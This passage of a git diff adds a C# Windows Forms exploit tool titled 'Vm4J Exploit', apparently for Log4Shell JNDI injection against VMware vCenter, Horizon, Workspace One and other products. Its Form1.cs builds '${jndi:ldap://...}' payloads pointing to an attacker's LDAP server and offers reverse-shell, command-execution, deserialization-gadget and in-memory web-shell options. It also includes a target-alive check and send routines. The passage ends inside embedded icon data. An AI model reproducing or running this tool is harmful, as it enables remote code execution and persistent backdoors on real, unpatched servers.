(Exception e) + { + log.LogError("Get Error:" + e.Message); + return "false"; + } + } + } +} diff --git a/Csharp/WindowsFormsApp1/ExecPayload/VWorkspaceOne.cs b/Csharp/WindowsFormsApp1/ExecPayload/VWorkspaceOne.cs new file mode 100644 index 0000000..a278bec --- /dev/null +++ b/Csharp/WindowsFormsApp1/ExecPayload/VWorkspaceOne.cs @@ -0,0 +1,12 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Vm4j_exp.ExecPayload +{ + internal class VWorkspaceOne + { + } +} diff --git a/Csharp/WindowsFormsApp1/Form1.Designer.cs b/Csharp/WindowsFormsApp1/Form1.Designer.cs new file mode 100644 index 0000000..1a80d7f --- /dev/null +++ b/Csharp/WindowsFormsApp1/Form1.Designer.cs @@ -0,0 +1,322 @@ +namespace Vm4j_exp +{ + partial class Form1 + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源，为 true；否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows 窗体设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1)); + this.targetGroupBox = new System.Windows.Forms.GroupBox(); + this.ProductListBox = new System.Windows.Forms.ComboBox(); + this.ProductLabel = new System.Windows.Forms.Label(); + this.targetBox = new System.Windows.Forms.TextBox(); + this.TargetLabel = new System.Windows.Forms.Label(); + this.serverGroupBox = new System.Windows.Forms.GroupBox(); + this.cmdBox = new System.Windows.Forms.TextBox(); + this.cmdlabel = new System.Windows.Forms.Label(); + this.payloadBox = new System.Windows.Forms.ComboBox(); + this.payloadlabel = new System.Windows.Forms.Label(); + this.gadgetBox = new System.Windows.Forms.ComboBox(); + this.SvrIpBox = new System.Windows.Forms.TextBox(); + this.gadgetLabel = new System.Windows.Forms.Label(); + this.sendBtn = new System.Windows.Forms.Button(); + this.SvrIpLabel = new System.Windows.Forms.Label(); + this.infoBox = new System.Windows.Forms.GroupBox(); + this.infoTxtBox = new System.Windows.Forms.RichTextBox(); + this.logBox = new System.Windows.Forms.GroupBox(); + this.logTxtBox = new System.Windows.Forms.RichTextBox(); + this.targetGroupBox.SuspendLayout(); + this.serverGroupBox.SuspendLayout(); + this.infoBox.SuspendLayout(); + this.logBox.SuspendLayout(); + this.SuspendLayout(); + // + // targetGroupBox + // + this.targetGroupBox.Controls.Add(this.ProductListBox); + this.targetGroupBox.Controls.Add(this.ProductLabel); + this.targetGroupBox.Controls.Add(this.targetBox); + this.targetGroupBox.Controls.Add(this.TargetLabel); + this.targetGroupBox.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.targetGroupBox.Location = new System.Drawing.Point(12, 12); + this.targetGroupBox.Name = "targetGroupBox"; + this.targetGroupBox.Size = new System.Drawing.Size(332, 100); + this.targetGroupBox.TabIndex = 0; + this.targetGroupBox.TabStop = false; + this.targetGroupBox.Text = "Target"; + // + // ProductListBox + // + this.ProductListBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.ProductListBox.Enabled = false; + this.ProductListBox.FormattingEnabled = true; + this.ProductListBox.Items.AddRange(new object[] { + "VMware HCX", + "VMware vCenter", + "VMware Workspace One", + "VMware NSX", + "VMware Horizon", + "VMware vRealize Operations Manager"}); + this.ProductListBox.Location = new System.Drawing.Point(85, 60); + this.ProductListBox.Name = "ProductListBox"; + this.ProductListBox.Size = new System.Drawing.Size(229, 23); + this.ProductListBox.TabIndex = 3; + this.ProductListBox.SelectedValueChanged += new System.EventHandler(this.ProductListBox_SelectedValueChanged); + // + // ProductLabel + // + this.ProductLabel.AutoSize = true; + this.ProductLabel.Font = new System.Drawing.Font("Arial", 12F); + this.ProductLabel.Location = new System.Drawing.Point(17, 66); + this.ProductLabel.Name = "ProductLabel"; + this.ProductLabel.Size = new System.Drawing.Size(62, 18); + this.ProductLabel.TabIndex = 2; + this.ProductLabel.Text = "Product"; + // + // targetBox + // + this.targetBox.BackColor = System.Drawing.SystemColors.Window; + this.targetBox.Location = new System.Drawing.Point(84, 24); + this.targetBox.Name = "targetBox"; + this.targetBox.Size = new System.Drawing.Size(230, 21); + this.targetBox.TabIndex = 1; + this.targetBox.TextChanged += new System.EventHandler(this.TargetInputBox_TextChanged); + // + // TargetLabel + // + this.TargetLabel.AutoSize = true; + this.TargetLabel.Font = new System.Drawing.Font("Arial", 12F); + this.TargetLabel.Location = new System.Drawing.Point(17, 24); + this.TargetLabel.Name = "TargetLabel"; + this.TargetLabel.Size = new System.Drawing.Size(51, 18); + this.TargetLabel.TabIndex = 0; + this.TargetLabel.Text = "Target"; + // + // serverGroupBox + // + this.serverGroupBox.Controls.Add(this.cmdBox); + this.serverGroupBox.Controls.Add(this.cmdlabel); + this.serverGroupBox.Controls.Add(this.payloadBox); + this.serverGroupBox.Controls.Add(this.payloadlabel); + this.serverGroupBox.Controls.Add(this.gadgetBox); + this.serverGroupBox.Controls.Add(this.SvrIpBox); + this.serverGroupBox.Controls.Add(this.gadgetLabel); + this.serverGroupBox.Controls.Add(this.sendBtn); + this.serverGroupBox.Controls.Add(this.SvrIpLabel); + this.serverGroupBox.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.serverGroupBox.Location = new System.Drawing.Point(350, 12); + this.serverGroupBox.Name = "serverGroupBox"; + this.serverGroupBox.Size = new System.Drawing.Size(562, 100); + this.serverGroupBox.TabIndex = 1; + this.serverGroupBox.TabStop = false; + this.serverGroupBox.Text = "Server"; + // + // cmdBox + // + this.cmdBox.Enabled = false; + this.cmdBox.Location = new System.Drawing.Point(361, 24); + this.cmdBox.Name = "cmdBox"; + this.cmdBox.Size = new System.Drawing.Size(195, 21); + this.cmdBox.TabIndex = 17; + // + // cmdlabel + // + this.cmdlabel.AutoSize = true; + this.cmdlabel.Font = new System.Drawing.Font("Arial", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.cmdlabel.Location = new System.Drawing.Point(274, 24); + this.cmdlabel.Name = "cmdlabel"; + this.cmdlabel.Size = new System.Drawing.Size(81, 18); + this.cmdlabel.TabIndex = 16; + this.cmdlabel.Text = "Command"; + // + // payloadBox + // + this.payloadBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.payloadBox.DropDownWidth = 228; + this.payloadBox.Enabled = false; + this.payloadBox.FormattingEnabled = true; + this.payloadBox.IntegralHeight = false; + this.payloadBox.Location = new System.Drawing.Point(263, 60); + this.payloadBox.Name = "payloadBox"; + this.payloadBox.Size = new System.Drawing.Size(229, 23); + this.payloadBox.TabIndex = 15; + this.payloadBox.SelectedValueChanged += new System.EventHandler(this.payloadBox_SelectedValueChanged); + // + // payloadlabel + // + this.payloadlabel.AutoSize = true; + this.payloadlabel.Font = new System.Drawing.Font("Arial", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.payloadlabel.Location = new System.Drawing.Point(199, 62); + this.payloadlabel.Name = "payloadlabel"; + this.payloadlabel.Size = new System.Drawing.Size(65, 18); + this.payloadlabel.TabIndex = 14; + this.payloadlabel.Text = "Payload"; + // + // gadgetBox + // + this.gadgetBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.gadgetBox.FormattingEnabled = true; + this.gadgetBox.Items.AddRange(new object[] { + "Basic", + "Deserialize", + "TomcatBypass", + "GroovyBypass", + "WebsphereBypass"}); + this.gadgetBox.Location = new System.Drawing.Point(87, 60); + this.gadgetBox.Name = "gadgetBox"; + this.gadgetBox.Size = new System.Drawing.Size(110, 23); + this.gadgetBox.TabIndex = 13; + this.gadgetBox.SelectedValueChanged += new System.EventHandler(this.gadgetBox_SelectedValueChanged); + // + // SvrIpBox + // + this.SvrIpBox.Location = new System.Drawing.Point(87, 24); + this.SvrIpBox.Name = "SvrIpBox"; + this.SvrIpBox.Size = new System.Drawing.Size(181, 21); + this.SvrIpBox.TabIndex = 12; + // + // gadgetLabel + // + this.gadgetLabel.AutoSize = true; + this.gadgetLabel.Font = new System.Drawing.Font("Arial", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.gadgetLabel.Location = new System.Drawing.Point(9, 62); + this.gadgetLabel.Name = "gadgetLabel"; + this.gadgetLabel.Size = new System.Drawing.Size(60, 18); + this.gadgetLabel.TabIndex = 11; + this.gadgetLabel.Text = "Gadget"; + // + // sendBtn + // + this.sendBtn.Location = new System.Drawing.Point(498, 58); + this.sendBtn.Name = "sendBtn"; + this.sendBtn.Size = new System.Drawing.Size(58, 25); + this.sendBtn.TabIndex = 10; + this.sendBtn.Text = "Send"; + this.sendBtn.UseVisualStyleBackColor = true; + this.sendBtn.Click += new System.EventHandler(this.sendBtn_Click); + // + // SvrIpLabel + // + this.SvrIpLabel.AutoSize = true; + this.SvrIpLabel.Font = new System.Drawing.Font("Arial", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.SvrIpLabel.Location = new System.Drawing.Point(9, 24); + this.SvrIpLabel.Name = "SvrIpLabel"; + this.SvrIpLabel.Size = new System.Drawing.Size(72, 18); + this.SvrIpLabel.TabIndex = 0; + this.SvrIpLabel.Text = "Server IP"; + // + // infoBox + // + this.infoBox.Controls.Add(this.infoTxtBox); + this.infoBox.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.infoBox.Location = new System.Drawing.Point(11, 125); + this.infoBox.Name = "infoBox"; + this.infoBox.Size = new System.Drawing.Size(429, 330); + this.infoBox.TabIndex = 2; + this.infoBox.TabStop = false; + this.infoBox.Text = "infoBox"; + // + // infoTxtBox + // + this.infoTxtBox.BackColor = System.Drawing.SystemColors.Control; + this.infoTxtBox.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.infoTxtBox.Location = new System.Drawing.Point(6, 16); + this.infoTxtBox.Name = "infoTxtBox"; + this.infoTxtBox.Size = new System.Drawing.Size(414, 309); + this.infoTxtBox.TabIndex = 0; + this.infoTxtBox.Text = ""; + // + // logBox + // + this.logBox.Controls.Add(this.logTxtBox); + this.logBox.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.logBox.Location = new System.Drawing.Point(446, 125); + this.logBox.Name = "logBox"; + this.logBox.Size = new System.Drawing.Size(466, 330); + this.logBox.TabIndex = 3; + this.logBox.TabStop = false; + this.logBox.Text = "logBox"; + // + // logTxtBox + // + this.logTxtBox.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.logTxtBox.Font = new System.Drawing.Font("Arial", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.logTxtBox.Location = new System.Drawing.Point(6, 20); + this.logTxtBox.Name = "logTxtBox"; + this.logTxtBox.ReadOnly = true; + this.logTxtBox.Size = new System.Drawing.Size(442, 300); + this.logTxtBox.TabIndex = 0; + this.logTxtBox.Text = ""; + // + // Form1 + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(924, 461); + this.Controls.Add(this.logBox); + this.Controls.Add(this.infoBox); + this.Controls.Add(this.serverGroupBox); + this.Controls.Add(this.targetGroupBox); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "Form1"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Vm4J Exploit"; + this.Load += new System.EventHandler(this.Form1_Load); + this.targetGroupBox.ResumeLayout(false); + this.targetGroupBox.PerformLayout(); + this.serverGroupBox.ResumeLayout(false); + this.serverGroupBox.PerformLayout(); + this.infoBox.ResumeLayout(false); + this.logBox.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.GroupBox targetGroupBox; + private System.Windows.Forms.GroupBox serverGroupBox; + private System.Windows.Forms.Label ProductLabel; + private System.Windows.Forms.Label TargetLabel; + private System.Windows.Forms.ComboBox ProductListBox; + private System.Windows.Forms.Label SvrIpLabel; + private System.Windows.Forms.TextBox targetBox; + private System.Windows.Forms.Button sendBtn; + private System.Windows.Forms.GroupBox infoBox; + private System.Windows.Forms.GroupBox logBox; + public System.Windows.Forms.RichTextBox logTxtBox; + private System.Windows.Forms.TextBox cmdBox; + private System.Windows.Forms.Label cmdlabel; + private System.Windows.Forms.ComboBox payloadBox; + private System.Windows.Forms.Label payloadlabel; + private System.Windows.Forms.ComboBox gadgetBox; + private System.Windows.Forms.TextBox SvrIpBox; + private System.Windows.Forms.Label gadgetLabel; + public System.Windows.Forms.RichTextBox infoTxtBox; + } +} + diff --git a/Csharp/WindowsFormsApp1/Form1.cs b/Csharp/WindowsFormsApp1/Form1.cs new file mode 100644 index 0000000..a5aae5c --- /dev/null +++ b/Csharp/WindowsFormsApp1/Form1.cs @@ -0,0 +1,297 @@ +using System; +using System.Threading; +using System.Web; +using System.Windows.Forms; +using Vm4j_exp.ExecPayload; + +namespace Vm4j_exp +{ + public partial class Form1 : Form + { + Log log = new Log(); + public static Form1 form = null; + + public delegate bool CheckAliveCallback(string url); + //payload array + private string[] BasicPayloadsArray = new string[] { "Dnslog/[domain]", "Command/[cmd]", "Command/Base64/[base64_encoded_cmd]", "ReverseShell/[ip]/[port]", "TomcatEcho", "SpringEcho", "WeblogicEcho", "TomcatMemshell1", "TomcatMemshell2", "JettyMemshell", "WeblogicMemshell1", "WeblogicMemshell2", "JBossMemshell", "WebsphereMemshell", "SpringMemshell" }; + private string[] DeserializationPayloadsArray = new string[] { "URLDNS/[domain]", "CommonsCollectionsK1/Dnslog/[domain]", "CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]", "CommonsBeanutils1/ReverseShell/[ip]/[port]", "CommonsBeanutils2/TomcatEcho", "C3P0/SpringEcho", "Jdk7u21/WeblogicEcho", "Jre8u20/TomcatMemshell", "CVE_2020_2555/WeblogicMemshell1", "CVE_2020_2883/WeblogicMemshell2" }; + private string[] TomcatBypassPayloadsArray = new string[] { "Dnslog/[domain]", "Command/[cmd]", "Command/Base64/[base64_encoded_cmd]", "ReverseShell/[ip]/[port]", "TomcatEcho", "SpringEcho", "TomcatMemshell1", "TomcatMemshell2", "SpringMemshell" }; + private string[] GroovyBypassPayloadsArray = new string[] { "Command/[cmd]", "Command/Base64/[base64_encoded_cmd]" }; + private string[] WebsphereBypassPayloadsArray = new string[] { "List/file=[file_or_directory]", "Upload/Dnslog/[domain]", "Upload/Command/[cmd]", "Upload/Command/Base64/[base64_encoded_cmd]", "Upload/ReverseShell/[ip]/[port]", "Upload/WebsphereMemshell", "RCE/path=[uploaded_jar_path]" }; + private string finalPayloadTmp = "${{jndi:ldap://{0}/{1}/{2}}}"; + private string finalPayload; + private string gadget, reverseIp,payload, command, targetAddr; + public Form1() + { + InitializeComponent(); + form = this; + } + private void TargetInputBox_TextChanged(object sender, EventArgs e) + { + ProductListBox.Enabled= true; + } + + private void ProductListBox_SelectedValueChanged(object sender, EventArgs e) + { + log.LogInfo("Product set to " + ProductListBox.SelectedItem.ToString()); + } + + private void Form1_Load(object sender, EventArgs e) + { + log.LogInfo("Welcome Back"); + } + //gadgetbox event + private void gadgetBox_SelectedValueChanged(object sender, EventArgs e) + { + payloadBox.Items.Clear(); + string selectedGadget = gadgetBox.SelectedItem.ToString(); + gadget = selectedGadget; + log.LogInfo("* Gadget set to " + selectedGadget); + payloadBox.Enabled=true; + switch (selectedGadget) + { + case "Basic": + foreach (var item in BasicPayloadsArray) + { + payloadBox.Items.Add(item); + } + break; + case "Deserialization": + foreach (var item in DeserializationPayloadsArray) + { + payloadBox.Items.Add(item); + } + break; + case "TomcatBypass": + foreach (var item in TomcatBypassPayloadsArray) + { + payloadBox.Items.Add(item); + } + break; + case "GroovyBypass": + foreach (var item in GroovyBypassPayloadsArray) + { + payloadBox.Items.Add(item); + } + break; + case "WebsphereBypass": + foreach (var item in WebsphereBypassPayloadsArray) + { + payloadBox.Items.Add(item); + } + break; + + default: + break; + } + } + //payloadbox event + private void payloadBox_SelectedValueChanged(object sender, EventArgs e) + { + string selectedPayload = payloadBox.SelectedItem.ToString(); + payload = selectedPayload; + string lowerPayload = payloadBox.SelectedItem.ToString().ToLower(); + if (lowerPayload.Contains("command") || + lowerPayload.Contains("echo") || + lowerPayload.Contains("dns") || + lowerPayload.Contains("reverseshell") + ) + { + cmdBox.Enabled = true; + if (lowerPayload.Contains("dns")) + { + cmdlabel.Text = "Domain"; + }else if (lowerPayload.Contains("reverseshell")) + { + cmdlabel.Text = "Reverse\nServer"; + } + else + { + cmdlabel.Text = "Command"; + } + } + else + { + cmdBox.Enabled = false; + } + log.LogInfo("* Payload set to " + selectedPayload); + } + //sendbtn + private void sendBtn_Click(object sender, EventArgs e) + { + sendBtn.Enabled = false; + sendBtn.Text = "Running..."; + bool cacResult; + if (string.IsNullOrEmpty(targetBox.Text)) + { + MessageBox.Show("Target address is empty!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + sendBtn.Enabled = true; + sendBtn.Text = "Send"; + return; + } + targetAddr = targetBox.Text; + if (string.IsNullOrEmpty(SvrIpBox.Text)) + { + MessageBox.Show("Reverse address is empty!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + sendBtn.Enabled = true; + sendBtn.Text = "Send"; + return; + } + reverseIp = SvrIpBox.Text; + try + { + CheckAliveCallback cac = new CheckAliveCallback(Tools.CheckTargetAlive); + IAsyncResult ar = cac.BeginInvoke(targetAddr, null, null); + while (!ar.IsCompleted) + { + log.LogInfo("Checking target alive..."); + Thread.Sleep(1000); + } + cacResult = cac.EndInvoke(ar); + } + catch (Exception ex) + { + log.LogError("Get Error:"+ ex.Message); + sendBtn.Enabled = true; + sendBtn.Text = "Send"; + return; + } + if (cacResult) + { + log.LogSuccess("Target is alive."); + string lowerPayload = payloadBox.SelectedItem.ToString().ToLower(); + string selectedPayload = payloadBox.SelectedItem.ToString(); + string echoResult; + string product = ProductListBox.SelectedItem.ToString(); + if (cmdBox.Enabled == true) + { + if (lowerPayload.Contains("base64")) + { + if (string.IsNullOrEmpty(cmdBox.Text)) + { + MessageBox.Show("Command is empty!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + sendBtn.Enabled = true; + sendBtn.Text = "Send"; + return; + } + string _command = Tools.Base64Encode(cmdBox.Text); + command = HttpUtility.UrlEncode(_command); + string _finalPayload = string.Format(finalPayloadTmp, reverseIp, gadget, selectedPayload); + finalPayload = _finalPayload.Replace("[base64_encoded_cmd]", command); + Tools.ExecBlindPayload(targetAddr,finalPayload,product); + + } + else if (lowerPayload.Contains("reverseshell")) + { + + if (string.IsNullOrEmpty(cmdBox.Text)) + { + MessageBox.Show("Reverse Shell Address is empty!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + sendBtn.Enabled = true; + sendBtn.Text = "Send"; + return; + } + string ip, port; + try + { + ip = cmdBox.Text.Split(':')[0]; + port = cmdBox.Text.Split(':')[1]; + } + catch (Exception) + { + log.LogError("IP/Port split failed."); + return; + } + string _finalPayload = string.Format(finalPayloadTmp, reverseIp, gadget, selectedPayload); + finalPayload = _finalPayload.Replace("[ip]", ip); + finalPayload = finalPayload.Replace("[port]", port); + Tools.ExecBlindPayload(targetAddr, finalPayload, product); + } + else if (lowerPayload.Contains("dns")) + { + + if (string.IsNullOrEmpty(cmdBox.Text)) + { + MessageBox.Show("Domain is empty!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + sendBtn.Enabled = true; + sendBtn.Text = "Send"; + return; + } + string domain; + domain = HttpUtility.UrlEncode(cmdBox.Text); + string _finalPayload = string.Format(finalPayloadTmp, reverseIp, gadget, selectedPayload); + finalPayload = _finalPayload.Replace("[domain]", domain); + Tools.ExecBlindPayload(targetAddr, finalPayload, product); + } + else if (lowerPayload.Contains("[cmd]")) + { + if (string.IsNullOrEmpty(cmdBox.Text)) + { + MessageBox.Show("Command is empty!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + sendBtn.Enabled = true; + sendBtn.Text = "Send"; + return; + } + string cmd; + cmd = HttpUtility.UrlEncode(cmdBox.Text); + string _finalPayload = string.Format(finalPayloadTmp, reverseIp, gadget, selectedPayload); + finalPayload = _finalPayload.Replace("[cmd]", cmd); + Tools.ExecBlindPayload(targetAddr, finalPayload, product); + } + else if (lowerPayload.Contains("echo")) + { + if (string.IsNullOrEmpty(cmdBox.Text)) + { + MessageBox.Show("Command is empty!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + sendBtn.Enabled = true; + sendBtn.Text = "Send"; + return; + } + string cmd; + cmd = HttpUtility.UrlEncode(cmdBox.Text); + string _finalPayload = string.Format(finalPayloadTmp, reverseIp, gadget, selectedPayload); + finalPayload = _finalPayload; + Tools.ExecEchoPayload(targetAddr, finalPayload,cmd, product); + } + sendBtn.Enabled = true; + sendBtn.Text = "Send"; + } + else + { + string _finalPayload = string.Format(finalPayloadTmp, reverseIp, gadget, selectedPayload); + finalPayload = _finalPayload; + switch (ProductListBox.SelectedItem) + { + case "VMware HCX": + + break; + case "VMware vCenter": + log.LogSuccess("We will use JNDI payload " + finalPayload + " to exploit" + ProductListBox.SelectedItem); + echoResult = VCenter.VCenterExec(targetAddr, finalPayload); + if (echoResult != null) + { + log.LogSuccess("Exploit success,no echo payload."); + } + log.LogSuccess("Exploit Success."); + break; + case "VMware Workspace One": + break; + case "VMware NSX": + break; + case "VMware Horizon": + break; + case "VMware vRealize Operations Manager": + break; + } + } + } + else + { + log.LogWarning("Target is not alive."); + sendBtn.Enabled = true; + sendBtn.Text = "Send"; + return; + } + } + } +} diff --git a/Csharp/WindowsFormsApp1/Form1.resx b/Csharp/WindowsFormsApp1/Form1.resx new file mode 100644 index 0000000..5dfcbe5 --- /dev/null +++ b/Csharp/WindowsFormsApp1/Form1.resx @@ -0,0 +1,582 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + + + AAABAAUAEBAAAAEAIABoBAAAVgAAABgYAAABACAAiAkAAL4EAAAgIAAAAQAgAKgQAABGDgAAMDAAAAEA + IACoJQAA7h4AADAwAAABACAAqCUAAJZEAAAoAAAAEAAAACAAAAABACAAAAAAAAAEAAAAAAAAAAAAAAAA + AAAAAAAAj0YbvJBIG/2TSxr/lU0Z/5hQGP+aUhf/nVUW/6BXFf+iWhT/pFwU/6dfE/+pYRL/rGQR/69m + EP+xaQ/9s2sOvJBIG/yTSxr/lU0Z/5hPGP+aUhf/nVQW/59XFf+iWhT/pFwU/6dfE/+pYRL/rGMR/69m + EP+xaA//s2sO/7ZtDfyTSxr/lU0Z/5hPGP+aUhf/nVQW/59XFf+iWhT/pFwU/6dfE/+pYRL/rGMR/69m + EP+xaA//s2sO/7ZuDf+4cAz/lU0Z/5hPGP+aUhf/nVQW/59XFf+iWhT/pFwU/6dfE/+pYRL/rGMR/69m + EP+xaA//s2sO/7ZuDf+4cAz/u3IL/5hQGP+aUhf/nVQV/59XFf+iWRT/pFwT/6deEv+pYRH/rGMQ/65l + D/+xaA//s2oN/7ZtDf+4bwv/u3IL/751Cv+aUhf/nVUX/6VhI/+jXBj/p2Ea/6tmHf+rZRf/sGsc/7Bp + FP+1cBz/tG0R/7x5If+5cg//wH0e/794EP/Adwn/nFMU/6xtNf/l0sD/wY9d/8OSX//TroX/wo5S/9m3 + j//Di0f/3r6U/8iSSv/s2b//zJVI/+zXuP/Tn1H/wngF/59WE//MpoH/8OTY/+LJr//SrIP/38Oi/8qb + Y//mza//yphY/+rVuf/fvpH/+O/k/+rSsP/37d//5seX/8Z+Cv+tbjL/59XC/8OSXf/lz7f/7NzK/+vZ + w//fwZ3/8OHP/9+/lv/v38n/7dvA/9+6hf/48eX/4r6G/+7Zt//PkSr/snU4/82kef+sZhn/w45R/9/C + n//XsYH/4cSe/9m0gf/jxp7/1adl/9WnYv/HhyX/269q/8yNJv/aqln/0JAi/6dfEv+pYRH/rGMQ/65l + Dv+xaA//s2oM/7ZuDf+4bwr/u3ML/710Cf/Adgf/w3kH/8V7Bv/Hfgb/yoEE/82EBP+pYRL/rGMR/69m + EP+xaA//s2sO/7ZuDf+4cAz/u3ML/751Cv/Adwn/w3oI/8V8CP/Ifwf/yoIG/82EBf/PhgT/rGQR/69m + EP+xaA//s2sO/7ZuDf+4cAz/u3ML/751Cv/Adwn/w3oI/8V8CP/Ifwf/yoIG/82EBf/PhwT/0okD/69m + EP+xaA//s2sO/7ZuDf+4cAz/u3ML/751Cv/Adwn/w3oI/8V8CP/Ifwf/yoIG/82EBf/PhwT/0okD/9SL + Av+xaQ/8s2sO/7ZuDf+4cAz/u3ML/751Cv/Adwn/w3oI/8V8CP/Ifwf/yoIG/82EBf/PhwT/0okD/9SL + Av/XjgH8s2sOvLZtDf24cAz/u3IL/751Cv/Adwn/w3oI/8V8CP/Hfwf/yoEG/82EBf/PhgT/0okD/9SL + Av/XjgH92JABvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAoAAAAGAAAADAAAAABACAAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAAAAjkYcdI9G + G+mQSBv/kkoa/5NLGv+VTRn/l08Y/5hQGP+aUhf/nFQX/55VFv+fVxX/oVkV/6NaFP+kXBT/pl4T/6hf + Ev+pYRL/q2MR/61kEP+vZhD/sGgP/7JpD+mzaw50j0Yb6JBIG/+SShr/k0sa/5VNGf+XTxj/mFAY/5pS + F/+cVBf/nlUW/59XFf+hWRX/o1oU/6RcFP+mXhP/qF8S/6lhEv+rYxH/rWQQ/69mEP+waA//smkP/7Nr + Dv+1bQ3okEgb/5JKGv+TSxr/lU0Z/5dPGP+YUBj/mlIX/5xUF/+eVRb/n1cV/6FZFf+jWhT/pFwU/6Ze + E/+oXxL/qWES/6tjEf+tZBD/r2YQ/7BoD/+yaQ//s2sO/7VtDf+3bg3/kkoa/5NLGv+VTRn/l08Y/5hQ + GP+aUhf/nFQX/55VFv+fVxX/oVkV/6NaFP+kXBT/pl4T/6hfEv+pYRL/q2MR/61kEP+vZhD/sGgP/7Jp + D/+zaw7/tW0N/7duDf+4cAz/k0sa/5VNGf+XTxj/mFAY/5pSF/+cVBf/nlUW/59XFf+hWRX/o1oU/6Rc + FP+mXhP/qF8S/6lhEv+rYxH/rWQQ/69mEP+waA//smkP/7NrDv+1bQ3/t24N/7hwDP+6cgz/lU0Z/5dP + GP+YUBj/mlIX/5xUF/+eVRb/n1cV/6FZFf+jWhT/pFwU/6ZeE/+oXxL/qWES/6tjEf+tZBD/r2YQ/7Bo + D/+yaQ//s2sO/7VtDf+3bg3/uHAM/7pyDP+8cwv/l08Y/5hQGP+aUhf/nFQX/55VFv+fVxX/oVkV/6Na + FP+kXBT/pl4T/6hfEv+pYRL/q2MR/61kEP+vZhD/sGgP/7JpD/+zaw7/tW0N/7duDf+4cAz/unIM/7xz + C/++dQr/mFAY/5pSF/+cVBf/nlQV/59WFP+hWRX/o1oU/6RbE/+mXhP/qF8S/6lgEf+rYhD/rWQQ/65l + D/+wZw7/smkP/7NqDf+1bAz/t24N/7hwDP+6cQr/vHML/751Cv+/dwr/mlIX/5xUF/+eVRb/pGAh/6Zh + IP+iWhT/pV0V/6xoIv+qYxj/qWES/7BsH/+waRj/r2YP/7RvG/+1bxn/s2oN/7l1G/++fCT/uXAN/7x1 + Ef/DgiX/v3gQ/793Cf/BeAn/nFQX/51UFf+nZSn/3sav/97FrP+qZyT/r28t/+XQuv/FlV//r2od/+PL + r//QpnP/smwW/97Amv/atof/t3IV/968kP/u3cb/woEm/9CeVv/06Nf/06JX/8B2Bv/Degj/nlUW/55V + E//EmG7//fv5//z6+P/Gl2f/tns7//nz7v/UroP/tHEk//bu5P/ev5n/uHQh/+7fy//n0LH/w4c2//Xq + 3P/9/Pn/1adm/+THnP//////6c6l/8R9Dv/Eewf/n1YU/6dkJP/n1cP/6trJ/+vby//n0r3/vodL//jz + 7P/UroH/tXIi//bt4//ev5j/uHUe/+7fyv/nz6//1apw//ny6f/06Nf/7dm8//Tn1P/16NX/9uva/82Q + Lf/FfAX/oFcS/8CQYf/59O//x5lp/8mcbf/48uz/1rOL//nz7f/cvJX/v4U+//jy6v/lzKv/woc4//Lm + 1v/q1bj/6tS1/+/cwv/ctHv//fr2//jv4f/arGX/+PDk/92ybP/HfQT/pV8a/93DqP/v4tT/sG8p/7Jx + Kf/s3Mr/+/fz//r28f/06d3/9Ord//z59f/17OD/9Ona//z69v/jxZv/8+bU/9+6hP/JjDD/9+3f/+zU + 